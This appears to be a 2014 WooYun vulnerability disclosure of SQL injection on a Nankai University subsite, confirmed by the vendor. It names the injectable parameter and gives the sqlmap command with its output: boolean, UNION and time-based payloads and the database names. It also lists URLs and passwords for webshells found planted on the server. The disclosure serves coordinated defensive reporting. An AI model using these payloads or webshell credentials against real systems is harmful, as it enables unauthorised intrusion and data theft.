当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-069528

漏洞标题:南开大学分站sql注入

相关厂商:nankai.edu.cn

漏洞作者: scanf

提交时间:2014-07-24 13:49

修复时间:2014-09-07 13:50

公开时间:2014-09-07 13:50

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-24: 细节已通知厂商并且等待厂商处理中
2014-07-24: 厂商已经确认,细节仅向厂商公开
2014-08-03: 细节向核心白帽子及相关领域专家公开
2014-08-13: 细节向普通白帽子公开
2014-08-23: 细节向实习白帽子公开
2014-09-07: 细节向公众公开

简要描述:

我就是一个路过的高中狗,对大学有着无比的向往!

详细说明:

注入点:http://mta.nankai.edu.cn/news_con.php?nid=196

[wooyun@scanf~]# Sqlmap -u "http://mta.nankai.edu.cn/news_con.php?nid=196" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:11:21
[13:11:21] [INFO] resuming back-end DBMS 'mysql'
[13:11:21] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: nid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: nid=196 AND 7946=7946
Type: UNION query
Title: MySQL UNION query (NULL) - 11 columns
Payload: nid=196 UNION ALL SELECT NULL,NULL,CONCAT(0x7174676a71,0x78524a6862
7a6651597a,0x7173616771),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: nid=196 AND SLEEP(5)
---
[13:11:21] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: ASP.NET, Nginx, PHP 5.2.4
back-end DBMS: MySQL 5.0.11
[13:11:21] [INFO] fetching database names
available databases [5]:
[*] information_schema
[*] mysql
[*] nankai_mta_edu
[*] nkumat
[*] test
[13:11:21] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\mta.nankai.edu.cn'
[*] shutting down at 13:11:21


然后是各种马
大马 密码5201314
http://mta.nankai.edu.cn/upload/upload.php
小马:
http://mta.nankai.edu.cn/upload/dgekue8j7g.asp
一句话的
http://mta.nankai.edu.cn/upload/dgekue8j7g.php 密码x

漏洞证明:

QQ截图20140724131925.png


QQ截图20140724131951.png


QQ截图20140724132052.png


应该是通过注入得到管理员的账号然后登录上传的木马
数据库的权限也大,

修复方案:

成养马场了,不知道学校的管理员是干嘛的, 过滤nid,全面检查服务器.

版权声明:转载请注明来源 scanf@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-07-24 15:29

厂商回复:

感谢scanf提供的漏洞信息,我们会尽快处理此漏洞,同时希望您继续关注南开大学网站的安全情况,我们需要您的反馈!

最新状态:

暂无